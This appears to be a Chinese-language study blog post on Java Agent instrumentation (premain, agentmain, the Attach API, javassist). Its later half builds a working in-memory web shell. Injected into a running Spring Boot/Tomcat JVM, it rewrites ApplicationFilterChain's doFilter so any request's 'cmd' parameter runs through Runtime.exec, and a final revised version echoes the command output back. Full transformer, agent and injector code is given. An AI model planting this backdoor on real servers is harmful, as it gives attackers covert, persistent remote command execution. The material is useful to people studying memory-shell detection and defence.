Java Agent介绍

官方文档:https://docs.oracle.com/javase/10/docs/api/java/lang/instrument/package-summary.html

java agent就是一种能够在不影响正常编译的情况下,修改java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。也就是平时所说的插桩技术,平常的热部署、诊断工具都是基于Java Agent技术来实现的。该技术从JDK1.5开始引入。

Java Agent使用

Java Agent分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动后加载的agentmain-Agent,有点类似特殊的拦截器的样子。

premain-Agent

实现该Agent首先我们必须实现一个静态premain方法,同时我们jar文件的清单(mainfest)中必须要有Premain-Class属性,也就是jar包中常见到的MF文件,这从官方文档中可以得知

image-20241030211341318

可以知道,就是在执行main方法前执行我们的premain方法,执行的类就是我们Premain-Class属性的值

现在来实现一个简单的premain-Agent,先正常maven创建一个普通的项目

package org.example.Agent;

import java.lang.instrument.Instrumentation;

public class premainAgent {
public static void premain(String agentArgs, Instrumentation inst) {
for(int i=0;i<10;i++){
System.out.printf("调用了JavaAgent%d次\n",i);
}
}
}

接着在 resources/META-INF/ 下创建 MANIFEST.MF 清单文件用以指定 premain-Agent 的启动类

Manifest-Version: 1.0
Premain-Class: org.example.Agent.premainAgent

要注意该文件最后一定要多一个换行,不然会爆红

目前的目录结构如下:

image-20241030213350306

然后我们将该文件打成jar包,这里记录两种打包方式

用jar命令打包

打包前我们需要将java文件替换成我们编译好的class文件,因为jar命令就只是将文件打包成一个jar,并不会进行编译,而jar包的文件想要被JVM识别就需要是class文件

然后对src目录的所有文件打包

D:\CTF\Java\JavaCode\JavaAgent\src\main>jar cvfm ..\..\agent.jar resources/META-INF/MANIFEST.MF ..\..\src

image-20241030220310229

image-20241030220348113

参数说明:
c:创建新的 JAR 文件。
v:生成详细输出,以便查看正在执行的操作。
f:指定 JAR 文件的名称。
m:指定 MANIFEST.MF 文件的位置。

然后就能看到我们的agent.jar包了,我看文章也可以直接指定单一class文件打成jar包,例如这样

jar cvfm ..\..\agent1.jar resources/META-INF/MANIFEST.MF java\org\example\Agent\
premainAgent.class

image-20241030220652347

这种打包方式会自动给你创建必要的包路径,对比了一下两种打包方式,目录结构如下

image-20241030220817921

指定class文件打包的就是直接从java包开始创建,只创建寻找类的必要的包

image-20241030220900229

而指定目录的方式就会从我们指定的目录开始打包,都会包括进去

顺便也记录一下有关jar会用的上的其他命令:

  • 检查jar文件内容:jar tvf agent.jar

    image-20241030221232096

使用idea打包

这种方式不需要提前编译,他在build的时候就会帮我们编译

我们选择选择Project Structure -> Artifacts -> JAR -> From modules with dependencies

image-20241030221418303

image-20241030221442499

image-20241030221521466

然后选择选择Build -> Build Artifacts -> Build

然后就可以在out目录看到我们生成的jar包了

image-20241030221714027

现在我们的agent类已经创建好了,我们需要再创建一个新的目标类

package org.example;

public class Main {
public static void main(String[] args) {
System.out.println("Hello world!");
}
}

同样使用MF来打包,创建一个MF文件

Manifest-Version: 1.0
Main-Class: org.example.Main

然后打成jar包

现在我们就得到两个jar包

image-20241030222419726

然后我们只要添加一个参数就能应用agent.jar包,格式在官方文档也有,如下:

-javaagent:<jarpath>[=<options>]
# options是传递给代理的参数,premain的agentArgs字段就是用来接受参数的

现在执行下面命令运行

java -javaagent:agent.jar -jar TestAgent.jar

image-20241030223732827

agentmain-Agent

agentmain-Agent就是能够在JVM启动后加载并修改字节码

编写该类需要实现agentmain方法

package org.example.Agent;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class agentmainAgent {
public static void agentmain(String args, Instrumentation inst) throws Exception{
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

同样写一个MF文件

Manifest-Version: 1.0
Agent-Class: org.example.Agent.agentmainAgent

然后写一个一直运行的目标类方便观察结果

package org.example;

import static java.lang.Thread.sleep;

public class Main {
public static void main(String[] args) throws Exception {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

但是agentmain就不是通过命令行指定参数的形式启动了,官方为了实现启动后加载,提供了Attach API。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach包里面。

这两个类为com.sun.tools.attach.VirtualMachine类和com.sun.tools.attach.VirtualMachineDescriptor

这两个类在tools.jar包中,可能要手动添加一下jar包,因为我在jdk8u65测试的时候他没有自动引入

image-20241030232514951

VirtualMachine

该类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

我们可以通过给该类的attach方法传入一个JVM的PID,然后远程连接到该JVM上,之后就可以对该JVM及进行操作,比如注入agent就是以这种形式

下面是该类的主要方法

//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

使用其中一个方法试试

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

public class Test {
public static void main(String[] args) {
for (VirtualMachineDescriptor virtualMachineDescriptor : VirtualMachine.list()) {
System.out.println(virtualMachineDescriptor);
}

}
}

image-20241030234554068

VirtualMachineDescriptor

该类就是一个描述特定虚拟机的类,从前面list方法获取的返回值也能知道,他就代表一个虚拟机,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。

我们可以测试一下

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

public class Test {
public static void main(String[] args) {
for (VirtualMachineDescriptor virtualMachineDescriptor : VirtualMachine.list()) {
System.out.println(virtualMachineDescriptor);
System.out.println(virtualMachineDescriptor.displayName());
System.out.println(virtualMachineDescriptor.id());//打印PID
}
}
}

image-20241030235436825

注入agent

现在知道了这两个类我们就可以进行注入了

同样的我们前面的agent要打成jar包,然后我们还要写一个inject类用于注入

package org.example;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Inject {
public static void main(String[] args) throws Exception{
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list) {
//遍历每一个正在运行的JVM,如果JVM名称为目标类则连接该JVM并加载特定Agent
if (vmd.displayName().equals("org.example.Main")) {
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:\\CTF\\Java\\JavaCode\\JavaAgent\\JavaAgent.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}

然后先将目标类运行起来,一段时间后开启我们的inject类

image-20241031000148056

可以看到成功注入目标类中

Instrumentation实例

Instrumentation介绍

在实现agent的方法的时候,我们发现除了参数的接受,他还有另一个Instrumentation类型的参数,该类在java.lang.instrument包下,那么什么是Instrumentation呢

Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent 通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

Instrumentation是一个接口,其常用方法如下:

public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);


//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类,相当于重新加载使我们的修改生效
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;


//判断一个类是否能被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标所有已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}

Instrumentation使用

我们修改一下前面的agentMain来试一试Instrumentation的功能,我们给目标类添加一个ClassFileTransformer类转换器

ClassFileTransformer接口下只有一个transform方法,重写该方法即可转换任意类文件,并返回新的被取代的类文件,在 java agent 内存马中便是在该方法下重写恶意代码,从而修改原有类文件代码逻辑,与 addTransformer 搭配使用。

目标类

package org.example;

import static java.lang.Thread.sleep;

public class Main {
public static void main(String[] args) throws Exception {
while (true){
Hello();
sleep(5000);
}
}
public static void Hello(){
System.out.println("Hello World!");
}
}

然后是改一下我们的agentMain

package org.example.Agent;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class agentmainAgent {
public static void agentmain(String args, Instrumentation inst) throws Exception{
Class[] allLoadedClasses = inst.getAllLoadedClasses();//获取所有已加载的类
//获取目标JVM加载的全部类
for(Class cls : allLoadedClasses){
if (cls.getName().equals("org.example.Main")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new TestTransform(),true);
inst.retransformClasses(cls);
}
}
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

然后是我们的ClassFileTransformer,这里用javassist来修改类

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
package org.example.Agent;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class TestTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {

try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.example.Main");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("Hello");
//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

我们的MF文件需要修改成如下

Manifest-Version: 1.0
Agent-Class: org.example.Agent.agentmainAgent
Can-Redefine-Classes: true
Can-Retransform-Classes: true

然后直接用maven打jar包

image-20241031113452048

maven打成jar包有一个坑点,他会默认替换你的MF文件变成这样

image-20241031114835052

我们可以手动替换一下jar包里面的MF文件,或者我们可以配置一下maven的打包插件让他自动生成MF文件

<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<version>3.1.0</version>
<configuration>
<archive>
<!--自动添加META-INF/MANIFEST.MF -->
<manifest>
<addClasspath>true</addClasspath>
</manifest>
<manifestEntries>
<!-- <Premain-Class>org.example.Agent.premainAgent</Premain-Class>-->
<Agent-Class>org.example.Agent.agentmainAgent</Agent-Class>
<Can-Redefine-Classes>true</Can-Redefine-Classes>
<Can-Retransform-Classes>true</Can-Retransform-Classes>
</manifestEntries>
</archive>
</configuration>
</plugin>
</plugins>
</build>

现在再打包就有需要的属性了

image-20241031115458888

最后编写Agent的注入类

package org.example;

import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Inject {
public static void main(String[] args) throws Exception{
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list) {
//遍历每一个正在运行的JVM,如果JVM名称为目标类则连接该JVM并加载特定Agent
if (vmd.displayName().equals("org.example.Main")) {
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:\\CTF\\Java\\JavaCode\\JavaAgent\\JavaAgent-1.0-SNAPSHOT.jar");
//断开JVM连接
virtualMachine.detach();
}
}
}
}

运行效果如下:

不过如果想要用javassist来修改的话,目标类也需要引入javassist依赖才行,不然会报错

image-20241031115558447

Instrumentation的局限

premain 和 agentmain 两种方式修改字节码的时机都是类文件加载之后,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses 方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。
  4. 新类和老类字段数和字段名要一致
  5. 新类和老类新增或删除的方法必须是 private static/final 修饰的
  6. 可以修改方法体

Java Agent实现Spring Filter内存马

因为springboot内置了Tomcat服务,所以我们找到Filter链中一定会执行的方法,然后重写他即可

他的流程为ApplicationFilterChain#doFilter==》ApplicationFilterChain#internalDoFilter

image-20241031170819582

image-20241031170835475

这两个方法都能够拿到ServletRequest 和 ServletResponse,而且hook不会影响正常业务逻辑

所以我们重写ApplicationFilterChain#internalDoFilter或者doFilter方法来打入内存马即可

编写agent内存马

照例先实现一个ClassFileTransformer,这里的ServletRequest需要我们自己去源码看一下具体是什么类,这里是jakarta.servlet.ServletRequest

package org.example.Agent;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class FilterTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体
String body = "{" +
"jakarta.servlet.ServletRequest request = $1\n;" + //$1为第一个参数,也就是request请求实例
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd !=null){\n" +
" Runtime.getRuntime().exec(cmd);\n" +
" }"+
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

agentmain

package org.example.Agent;


import java.lang.instrument.Instrumentation;


public class agentmainAgent {
public static void agentmain(String args, Instrumentation inst) throws Exception{
Class[] allLoadedClasses = inst.getAllLoadedClasses();//获取所有已加载的类
//获取目标JVM加载的全部类
for(Class cls : allLoadedClasses){
if (cls.getName().equals("org.apache.catalina.core.ApplicationFilterChain")){
//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new FilterTransform(),true);
inst.retransformClasses(cls);
}
}
}
}

MF文件就和前面一样,这里就不再写出来了

最后是Inject类

package org.example;


import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class Inject {
public static void main(String[] args) throws Exception{
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
System.out.println(list);
for(VirtualMachineDescriptor vmd : list) {
//遍历每一个正在运行的JVM,如果JVM名称为目标类则连接该JVM并加载特定Agent
if (vmd.displayName().equals("org.example.dev.DevApplication")) {
//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("D:\\CTF\\Java\\JavaCode\\JavaAgent\\JavaAgent-1.0-SNAPSHOT.jar");
System.out.println("成功插入agent");
//断开JVM连接
virtualMachine.detach();
}
}
}
}

这里还有一个很坑的点,就是版本问题,我们的javaagent的jar包和inject类都需要是符合目标的jdk版本的,估计是低版本不能向高版本注入的问题

现在我们吧springboot服务开起来,然后启动inject注入agent就可以打入内存马了

image-20241031204330693

image-20241031204345365

我看有些文章可以将inject类写成jar包,传入vm的pid和agent的jar包参数就能命令行执行了,不过需要相关的内存工具来获取pid才行。

agent内存马回显问题

这里的简单内存马不带回显感觉不方便,我又去网上找了一下有回显的写法,ClassFileTransformer就可以改成下面这样

参考这篇文章:https://sec.1i6w31fen9.top/2023/09/24/javaagent-memory-trojan/

package org.example.Agent;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class FilterTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter");
//设置方法体,带回显
String body = "{" +
"jakarta.servlet.http.HttpServletRequest request = $1\n;" +
"String cmd=request.getParameter(\"cmd\");\n" +
"if (cmd!=null){\n" +
"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
"java.io.PrintWriter writer = $2.getWriter();" +
"java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" +
"String result = scanner.hasNext()?scanner.next():\"\";" +
"scanner.close();writer.write(result);" +
"writer.flush();writer.close();\n" +
" }else{internalDoFilter($1,$2);}"+
"}";
ctMethod.setBody(body);//在方法前插入代码
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

emmm但是有个很奇怪的问题,他每次请求完就会卡住,然后就报下面的错误:

image-20241031215713085

意思是JVM在运行的时候找不到类的定义,这就很奇怪了,然后试了很多其他的操作发现都是报这个错误,只有前面那个简单的内存马能通,不知道为什么

我直接copy了他的整个doFilter方法也不行红温了😡

fuck我改了一晚上终于行了,这是成功的版本

package org.example.Agent;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class FilterTransform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
System.out.println(ctClass);

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
//设置方法体
String body="{" +
"final jakarta.servlet.ServletRequest req = $1;\n" +
"final jakarta.servlet.ServletResponse res = $2;\n" +
"try {\n" +
"String cmd=req.getParameter(\"cmd\");\n" +
"if (cmd!=null){\n" +
"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();" +
"java.io.PrintWriter writer = res.getWriter();" +
"java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" +
"String result = scanner.hasNext()?scanner.next():\"\";" +
"scanner.close();writer.write(result);" +
"writer.flush();writer.close();\n" +
"internalDoFilter(req, res);\n" +
"return null;\n" +
"}\n"+
"} catch (java.lang.Exception pe) {\n" +
"}\n" +
"}";
ctMethod.setBody(body);
//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;
}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

结果只需要比前面那个多一段**internalDoFilter(req, res);**方法的调用就可以了,我估计是不调用该方法调用链就会直接断掉,导致我发请求就卡在那里不动

image-20241031231112320

而且这种方法写如果弹计算器的话他会弹五次,说明他调用链中走了五次doFilter方法

参考

https://drun1baby.top/2023/12/07/Java-Agent-%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/

https://xz.aliyun.com/t/9450?u_atoken=bf936a9b17ff00a7cb14f93f2e5272de&u_asig=1a0c384b17302758676971458e00f7&time__1311=iq0hYKAIqjOD7DloNGkDulDRibGCbbUnt%2BteD

https://www.cnblogs.com/rickiyang/p/11368932.html